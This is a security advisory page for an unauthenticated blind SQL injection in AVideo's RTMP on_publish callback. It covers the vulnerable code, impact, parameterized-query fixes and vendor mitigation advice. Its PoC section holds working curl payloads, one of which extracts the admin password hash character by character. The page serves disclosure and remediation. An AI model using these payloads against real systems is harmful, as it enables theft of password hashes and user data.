GHSA-8p58-35c3-ccxx is a high-severity (CVSS 7.5) SQL Injection vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8p58-35c3-ccxx.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-8p58-35c3-ccxx plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.
Details
Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.
Sanitization (insufficient): Line 117 strips only & and = characters:
// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);
Injection point #1 — unconditional (no p parameter needed):
At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():
// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);
Inside getLatest(), the key is interpolated into a LIKE clause without escaping:
// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE '{$key}%' ";
}
Injection point #2 — when $_GET['p'] is provided:
At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():
// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);
Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:
// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);
Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.
PoC
Injection point #1 (unconditional — simplest):
# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"
A ~5-second response time confirms injection. The payload:
- Avoids
&and=(stripped by line 117) - Avoids
_and-in positions wherecleanUpKey()would split - Uses
%23(#) to comment out the trailing%'
Data extraction — character-by-character:
# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"
Injection point #2 (via keyExists):
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"
This reaches keyExists() at line 146, producing:
SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1
Impact
An unauthenticated remote attacker can:
-
Extract all database contents via time-based blind SQL injection, including:
- User password hashes (bcrypt)
- Email addresses and personal information
- API keys, session tokens, and live stream passwords
- Site configuration and secrets stored in database tables
-
Authenticate as any user to the streaming system — extracted password hashes can be used directly as the
$_GET['p']parameter sinceon_publish.php:153compares$_GET['p'] === $user->getPassword()against the raw stored hash, allowing the attacker to start streams impersonating any user. -
Enumerate database structure — the injection can be used to query
information_schematables, mapping the entire database for further exploitation.
The first injection point (via getLatest()) is reached unconditionally on every request — no additional parameters beyond name and tcurl are required.
Recommended Fix
Use parameterized queries in both affected functions:
Fix LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php:298-303:
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql, "s", [$key]);
Fix LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php:494-495:
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE ? ";
$formats .= "s";
$values[] = $key . '%';
}
Fix LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php:681-688:
if(!$strict){
$parts = Live::getLiveParametersFromKey($key);
$key = $parts['cleanKey'];
$sql .= " `key` LIKE ? ";
$formats = "s";
$values = [$key . '%'];
}else{
$sql .= " `key` = ? ";
$formats = "s";
$values = [$key];
}
All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-8p58-35c3-ccxx yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8p58-35c3-ccxx can be triaged on real exposure rather than presence alone.
Tailored to GHSA-8p58-35c3-ccxx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8p58-35c3-ccxx in your dependencies?
O3 Security finds GHSA-8p58-35c3-ccxx across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.